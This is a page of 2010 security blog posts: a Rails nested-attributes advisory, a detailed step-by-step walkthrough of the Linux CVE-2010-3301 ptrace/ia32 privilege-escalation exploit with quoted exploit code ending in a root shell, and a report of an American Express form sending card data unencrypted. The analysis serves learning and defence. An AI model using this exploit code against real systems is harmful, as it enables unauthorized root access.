Security Vulnerability in Nested Attributes code in Ruby On Rails 2.3.9 and 3.0.0 »
Created at: 15.10.2010 05:35, source: Riding Rails - home, tagged: security
There is a vulnerability in the nested attributes handling code in some versions of Ruby on Rails. An attacker could manipulate form parameters and make changes to records other than those the developer intended. This vulnerability has been assigned the identifier CVE-2010-3933.
- Versions Affected: 3.0.0, 2.3.9
- Not affected: Versions earlier than 2.3.9 and applications which do not use accepts_nested_attributes_for
- Fixed Versions: 3.0.1, 2.3.10
Impact
An attacker could change parameter names for form inputs and make changes to arbitrary records in the system. All users running an affected release should upgrade immediately.
Releases
The 3.0.1 and 2.3.10 releases are available at the normal locations. The 3.0.1 release consists solely of 3.0.0 with the security issue fixed, 3.0.2 will follow shortly and include other bugfixes as well as this fix. 2.3.10 is a regular release in the 2.3 series.
Workarounds
There are no feasible workarounds for this issue.
Patches
To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.
Please note that only the 2.3.x and 3.0.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible.
Credits
Thanks to Matti Paksula and Juha Suuraho of Enemy & Sons Ltd for reporting the vulnerability to us and helping verify the fix.
more »
detailed explanation of a recent privilege escalation bug in linux (CVE-2010-3301) »
Created at: 27.09.2010 14:59, source: time to bleed by Joe Damato, tagged: linux security systems x86 bugfix kernel privilege escalation privileges syscall vulnerability x86_64

If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
tl;dr
This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. I’ll explain what the deal is from the kernel side and the exploit side.
This article is long and technical; prepare yourself.
ia32 syscall emulation
There are two ways to invoke system calls on the Intel/AMD family of processors:
- Software interrupt
0x80. - The
sysenterfamily of instructions.
The sysenter family of instructions are a faster syscall interface than the traditional int 0x80 interface, but aren’t available on some older 32bit Intel CPUs.
The Linux kernel has a layer of code to allow syscalls executed via int 0x80 to work on newer kernels. When a system call is invoked with int 0x80, the kernel rearranges state to pass off execution to the desired system call thus maintaing support for this older system call interface.
This code can be found at http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380. We will examine this code much more closely very soon.
ptrace(2) and the ia32 syscall emulation layer
From the ptrace(2) man page (emphasis mine):
The ptrace() system call provides a means by which a parent process may observe and control the execution of another process, and examine and change its core image and registers. It is primarily used to implement break-point debugging and system call tracing.
If we examine the IA32 syscall emulation code we see some code in place to support ptrace1:
ENTRY(ia32_syscall)
/* . . . */
GET_THREAD_INFO(%r10)
orl $TS_COMPAT,TI_status(%r10)
testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%r10)
jnz ia32_tracesys
This code is placing a pointer to the thread control block (TCB) into the register r10 and then checking if ptrace is listening for system call notifications. If it is, a secondary code path is entered.
Let’s take a look2:
ia32_tracesys:
/* . . . */
call syscall_trace_enter
LOAD_ARGS32 ARGOFFSET /* reload args from stack in case ptrace changed it */
RESTORE_REST
cmpl $(IA32_NR_syscalls-1),%eax
ja int_ret_from_sys_call /* ia32_tracesys has set RAX(%rsp) */
jmp ia32_do_call
END(ia32_syscall)
Notice the LOAD_ARGS32 macro and comment above. That macro reloads register values after the ptrace syscall notification has fired. This is really fucking important because the userland parent process listening for ptrace notifications may have modified the registers which were loaded with data to correctly invoke a desired system call. It is crucial that these register values are untouched to ensure that the system call is invoked correctly.
Also take note of the sanity check for %eax: cmpl $(IA32_NR_syscalls-1),%eax
This check is ensuring that the value in %eax is less than or equal to (number of syscalls – 1). If it is, it executes ia32_do_call.
Let’s take a look at the LOAD_ARGS32 macro3:
.macro LOAD_ARGS32 offset, _r9=0 /* . . . */ movl \offset+40(%rsp),%ecx movl \offset+48(%rsp),%edx movl \offset+56(%rsp),%esi movl \offset+64(%rsp),%edi .endm
Notice that the register %eax is left untouched by this macro, even after the ptrace parent process has had a chance to modify its contents.
Let’s take a look at ia32_do_call which actually transfers execution to the system call4:
ia32_do_call:
IA32_ARG_FIXUP
call *ia32_sys_call_table(,%rax,8) # xxx: rip relative
The system call invocation code is calling the function whose address is stored at ia32_sys_call_table[8 * %rax]. That is, the (8 * %rax)th entry in the ia32_sys_call_table.
subtle bug leads to sexy exploit
This bug was originally discovered by the polish hacker “cliph” in 2007, fixed, but then reintroduced accidentally in early 2008.
The exploit is made by possible by three key things:
- The register
%eaxis not touched in theLOAD_ARGSmacro and can be set to any arbitrary value by a call toptrace. - The
ia32_do_calluses%rax, not%eax, when indexing into theia32_sys_call_table. - The
%eaxcheck (cmpl $(IA32_NR_syscalls-1),%eax) inia32_tracesysonly checks%eax. Any bits in the upper 32bits of%raxwill be ignored by this check.
These three stars align and allow an attacker cause an integer overflow in ia32_do_call causing the kernel to hand off execution to an arbitrary address.
Damnnnnn, that’s hot.
the exploit, step by step
The exploit code is available here and was written by Ben Hawkes and others.
The exploit begins execution by forking and executing two copies of itself:
if ( (pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", NULL);
perror("exec fault");
exit(1);
}
The child process is set up to be traced with ptrace by setting the PTRACE_TRACEME.
The parent process enters a loop:
for (;;) {
if (wait(&status) != pid)
continue;
/* ... */
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
}
/* ... */
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}
The parents calls wait and blocks until entry into a system call. When a system call is entered, ptrace is invoked to read the value of the rax register. If the value is 0x101, ptrace is invoked to set the value of rax to 0x800000101 to cause an overflow as we’ll see shortly. ptrace is then invoked to resume execution in the child.
While this is happening, the child process is executing. It begins by looking the address of two symbols in the kernel:
commit_creds = (_commit_creds) get_symbol("commit_creds");
/* ... */
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
/* ... */
Next, the child process attempts to create an anonymous memory mapping using mmap:
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
/* ... */
This mapping is created at the address tmp. tmp is set earlier to: 0xffffffff80000000 + (0x0000000800000101 * 8) (stored in kern_s in main).
This value actually causes an overflow, and wraps around to: 0x3f80000808. mmap only creates mappings on page-aligned addresses, so the mapping is created at: 0x3f80000000. This mapping is 64 megabytes large (stored in size).
Next, the child process writes the address of a function called kernelmodecode which makes use of the symbols commit_creds and prepare_kernel_cred which were looked up earlier:
int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
The address of that function is written over and over to the 64mb memory that was mapped in:
for (; (uint64_t) ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;
Finally, the child process executes syscall number 0x101 and then executes a shell after the system call returns:
__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");
/* . . . */
execl("/bin/sh", "bin/sh", NULL);
tying it all together
When system call 0x101 is executed, the parent process (described above) receives a notification that a system call is being entered. The parent process then sets rax to a value which will cause an overflow: 0x800000101 and resumes execution in the child.
The child executes the erroneous check described above:
cmpl $(IA32_NR_syscalls-1),%eax
ja int_ret_from_sys_call /* ia32_tracesys has set RAX(%rsp) */
jmp ia32_do_call
Which succeeds, because it is only comparing the lower 32bits of rax (0x101) to IA32_NR_syscalls-1.
Next, execution continues to ia32_do_call, which causes an overflow, since rax contains a very large value.
call *ia32_sys_call_table(,%rax,8)
Instead of calling the function whose address is stored in the ia32_sys_call_table, the address is pulled from the memory the child process mapped in, which contains the address of the function kernelmodecode.
kernelmodecode is part of the exploit, but the kernel has access to the entire address space and is free to begin executing code wherever it chooses. As a result, kernelmodecode executes in kernel mode setting the privilege level of the process to those of init.
The system has been rooted.
The fix
The fix is to zero the upper half of eax and change the comparison to examine the entire register. You can see the diffs of the fix here and here.
Conclusions
- Reading exploit code is fun. Sometimes you find particularly sexy exploits like this one.
- The IA32 syscall emulation layer is, in general, pretty wild. I would not be surprised if more bugs are discovered in this section of the kernel.
- Code reviews play a really important part of overall security for the Linux kernel, but subtle bugs like this are very difficult to catch via code review.
- I'm not a Ruby programmer.
If you enjoyed this article, subscribe (via RSS or e-mail) and follow me on twitter.
References
- http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L424
- http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L439
- http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L50
- http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L430
more »
Ruby on Rails 3 Security Updated »
Created at: 08.06.2010 15:13, source: Ruby on Rails Security Project, tagged: cross-site scripting rails Ruby on Rails security sql injection sqli web security XSS
I hold a talk about Rails 3 Security at the RailsWayCon10. It is about the new Cross-Site Scription protection in Rails 3, what is going to change in ActiveRecord and other Rails Security topics. You can find the presentation at Slideshare.
more »
WARNING: American Express fails miserably at basic security. »
Created at: 25.05.2010 21:54, source: time to bleed by Joe Damato, tagged: security systems vulnerability

If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
As of 3:35pm PST on 5/25/2010 it seems to be fixed. wireshark shows only TLS traffic now, nothing in the clear. Pretty quick fix, since this was published at 11:54am. Good deal.
This article is going to reveal a pretty serious error in a web form on the American Express Network website. I would strongly recommend NOT filling out the web form described below.
Daily Wish from the American Express Network
Daily wish from the American Express Network sent me an email this morning trying to get me to sign up for their deal of the day service where they offer a very limited quantity of products for a low price.
Sounds simple enough, right?
Well, the time of the sale is not released until the day the sale occurs, unless you are an American Express cardholder. If you are a card holder, you get a special landing page on their website telling you that if you sign up, you can get the sale times before the sale date.
The white arrow below points to the tab that only appears if you clicked through from an email from American Express. The red arrow below points to the sign up button. Take a look:
Sign up page
After clicking the sign up button (red arrow above), a lightbox appears asking for:
- First and last name
- American Express credit card number
- Security code
- Expiration date
- Billing zip
Quite a bit of personal information, much of it sensitive. [sarcarsm]Don’t worry the page is secure[/sarcasm], see the form and the white arrow below:
The code from the form
This form looked very suspicious to me, so I decided to take a look at the code to see if the action for this sign up form was over HTTPS. Check it:
<form name="form1" method="post" action="preid2.aspx?ct=7" onsubmit="javascript:return WebForm_OnSubmit();" id="form1">
So the action is to a handler at http://dailywish.amexnetwork.com/preid2.aspx?ct=7. The lack of https doesn’t make me feel very good.
Maybe the WebForm_OnSubmit() function is doing something that might make this secure? Let’s take a look:
<script type="text/javascript">
//<![CDATA[
function WebForm_OnSubmit() {
if (typeof(ValidatorOnSubmit) == "function" && ValidatorOnSubmit() == false) return false;
return true;
}
//]]>
</script>
So it looks like that function is just a validator. It is really starting to feel like this form is insecure.
Let’s bring out wireshark and see what it has to say.
Wireshark packet sniff
So I filled out the form with fake information and sniffed the POST to the server.
The Daily Wish sign up form from the American Express Network is sending credit card numbers, expiration dates, and all the other personal information on the sign up form in the clear back to their server.
Holy. Fuck.
Conclusion
- Do NOT fill out the form until American Express fixes this issue.
Thanks for reading and don’t forget to subscribe (via RSS or e-mail) and follow me on twitter.
more »
Double Shot #636 »
Created at: 28.01.2010 13:56, source: A Fresh Cup, tagged: Double Shot github jquery PostgreSQL privacy rails security
And no, running HTML 5 does not make a closed proprietary device magically open.
- Panopticlick - "How Unique - and Trackable - is Your Browser?". Test site from the EFF. Turning on NoScript helps significantly.
- The jQuery Cross-Domain Ajax Guide - A whole list of ways to work around cross-domain restrictions.
- Rails Security Review Checklist - Sara Allen pulls together some notes.
- Diff for gist.github - Another useful GreaseMonkey script.
- Postgresql 8.3 on Debian Lenny - Pretty easy to install and configure, actually.
more »
